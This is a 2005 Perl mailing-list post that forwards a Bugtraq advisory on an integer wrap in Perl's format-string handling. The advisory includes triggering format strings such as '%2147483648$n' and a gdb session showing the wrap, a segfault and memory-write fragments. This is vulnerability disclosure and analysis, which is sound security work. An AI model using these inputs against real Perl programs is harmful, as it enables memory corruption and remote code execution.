[Mpls-pm] Fwd: Perl format string integer wrap vulnerability

Joshua ben Jore twists at gmail.com
Fri Dec 2 09:29:02 PST 2005

I'm changing my topic. Instead of doing anything on using delayed
evaluation expressions, I think its worth talking about writing
modules that analyze compiled perl. I wrote one
(http://perlmonks.org/?node_id=513486) in half an hour yesterday to
find modules with exploitable sprintf bug. Its at . To use it, you
just load it.

I used it to produce a report of exploitable code in core perl and the
stuff I had in my site-lib. http://perlmonks.org/?node_id=513527

BTW, does anyone know how to get perl to do something more useful than
segfault when given a bad format? The bug is triggered by using a
format like "%" . ( $n + MAXINT ) . "d". The number is getting
assigned into a signed integer and this is where the problem is, I
guess. Somehow this allows an attacker to write to arbitrary memory.


---------- Forwarded message ----------

Date: Thu, 1 Dec 2005 00:57:41 -0800
From: robert at dyadsecurity.com
To: bugtraq at securityfocus.com
Subject: Perl format string integer wrap vulnerability

SUMMARY. perl suffers from an integer wrap overflow inside the explicit
parameter format string functionality, this has been confirmed to be a
vector for remote code execution.

Date Found:     September 23, 2005.
Public Release: TBD.
Application:    perl
Credit:         Jack Louis of Dyad Security

BACKGROUND.  perl is a cross-platform scripting language. for more
details see Perl.org

DESCRIPTION.  Value over INT_MAX(value of I) inside explicit parameter
format string (%I$n) causes integer wrap in the efix (32bit signed
integer) variable inside the function Perl_sv_vcatpvfn (see example 1)
(sv.c:~9360). Allowing for a write value anywhere in memory exploitation
vector (see example 2). Further, heap corruption itself is possible (see
example 3), as are more exotic non-reliable $PC redirection (see example
4). From what we have seen the first exploitation method is the only
valid one. ImmunitySec has found a generic method of controlling the
first condition with a good amount of robustness and success. Perl
itself is not directly vulnerable to remote attacks due to this flaw,
however any perl program with format string vulnerabilities is. The
vulnerability is not to limited DoS (as reported previously) but remote
code execution as well as information leakage and DoS.

IMPACT.  Perl itself is not generally impacted by this vulnerability,
but programs with format string vulnerabilities (Dyad Security has
confirmed that several programs available at this time have this
specific issue) can be vulnerable to remote code execution. Information
about creating a robust generic exploit is forthcoming, so public
knowledge of exploitation methods for this issue is in the cards.

AFFECTED VERSIONS.  Perl 5.9.2 and perl 5.8.6 have been tested and found
to be vulnerable on linux, freebsd, dragonflybsd on the ia32 platform.
It is assumed that a much larger range of software and platforms are
also affected, as the sv.c seems to remain seemingly static over time,
however this is not confirmed.

$ gdb myperl/bin/perl5.8.7
GNU gdb 6.3
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i686-pc-linux-gnu"...Using host
libthread_db library "/lib/tls/libthread_db.so.1".

(gdb) break sv.c:9232
Breakpoint 1 at 0x80c0df0: file sv.c, line 9232.
(gdb) set args -e 'printf("%2147483647\$n");'
(gdb) run

Breakpoint 1, Perl_sv_vcatpvfn (sv=0x812d180, pat=0x0, patlen=0,
args=0x0, svargs=0x8133080,
    svmax=0, maybe_tainted=0xbffb72cb "") at sv.c:9232
9232    in sv.c
(gdb) p efix
$1 = 2147483647
(gdb) set args -e 'printf("%2147483648\$n");'
(gdb) run

Breakpoint 1, Perl_sv_vcatpvfn (sv=0x812d180,
    pat=0x80000000 <Address 0x80000000 out of bounds>, patlen=0,
args=0x0, svargs=0x8133080,
    svmax=0, maybe_tainted=0xbfb0640b "") at sv.c:9232
9232    in sv.c
(gdb) p efix
$2 = -2147483648
(gdb) cont
Modification of a read-only value attempted at -e line 1.

Program exited with code 0377.
(gdb) set args -e 'printf("%2147483649\$n");'
(gdb) run

Breakpoint 1, Perl_sv_vcatpvfn (sv=0x812d180,
    pat=0x80000001 <Address 0x80000001 out of bounds>, patlen=0,
args=0x0, svargs=0x8133080,
    svmax=0, maybe_tainted=0xbfe69b9b "") at sv.c:9232
9232    in sv.c
(gdb) p efix
$3 = -2147483647
(gdb) cont

Program received signal SIGSEGV, Segmentation fault.
Perl_sv_setiv (sv=0x0, i=0) at sv.c:1652
1652    in sv.c
(gdb) bt
#0  Perl_sv_setiv (sv=0x0, i=0) at sv.c:1652
#1  0x080b6349 in Perl_sv_setuv_mg (sv=0x0, u=0) at sv.c:1743
#2  0x080c0e06 in Perl_sv_vcatpvfn (sv=0x812d180,
    pat=0x80000001 <Address 0x80000001 out of bounds>, patlen=0,
args=0x0, svargs=0x8133080,
    svmax=0, maybe_tainted=0xbfe69b9b "") at sv.c:9232
#3  0x080e923b in Perl_do_sprintf (sv=0x812d180, len=1,
sarg=0x813307c) at doop.c:713
#4  0x080de48a in Perl_pp_prtf () at pp_sys.c:1489
#5  0x080ad038 in Perl_runops_standard () at run.c:37
#6  0x080615c7 in S_run_body (oldscope=1) at perl.c:2000
#7  0x080613ff in perl_run (my_perl=0x812d008) at perl.c:1919
#8  0x0805e61f in main (argc=3, argv=0xbfe69da4, env=0xbfe69db4) at
(gdb) x/i $eip
0x80b61a8 <Perl_sv_setiv+8>:    mov    0x8(%ebx),%edx
(gdb) i r ebx edx
ebx            0x0      0
edx            0x812d180        135451008

#0  Perl_sv_setiv (sv=0x815f821, i=0) at sv.c:2184
2184        SvIVX(sv) = i;
(gdb) x/i $eip
0x80c815c <Perl_sv_setiv+108>:  mov    %esi,0xc(%eax)

#0  0xb7e69fb0 in malloc_consolidate () from /lib/tls/libc.so.6

#0  0x09010e50 in ?? ()

FIXES.  Due to the information that has already been leaked we moved up
the release date of this advisory. There is no official fix for this
issue as of yet. We have provided a sample patch for the 5.9.2 version.

See http://www.dyadsecurity.com/perl-0002.html for additional
information and a link to the patch.

Special thanks to Dave Aitel and Bas Alberts of ImmunitySec for the
donation of resources and leading the difficult phase of exploit
verification research. If you wish to obtain any exploits or further
detailed information regarding this vulnerability, please contact

Copyright (C) 2005 Dyad Security, Inc.

Permission is granted for the redistribution of this alert
electronically. It may not be edited in any way without the express
written consent of Dyad Security, Inc. If you wish to reprint the whole
or any part of this alert in any other medium other than electronically,
please email advisoryreprint at dyadsecurity.com for permission.

The information in the advisory is believed to be accurate at the time
of publishing based on currently available information. Use of the
information constitutes acceptance for use in an AS IS condition. There
are no warranties with regard to this information. Neither the author
nor the publisher accepts any liability for any direct, indirect, or
consequential loss or damage arising from use of, or reliance on, this


=== End of Forwarded Message

More information about the Mpls-pm mailing list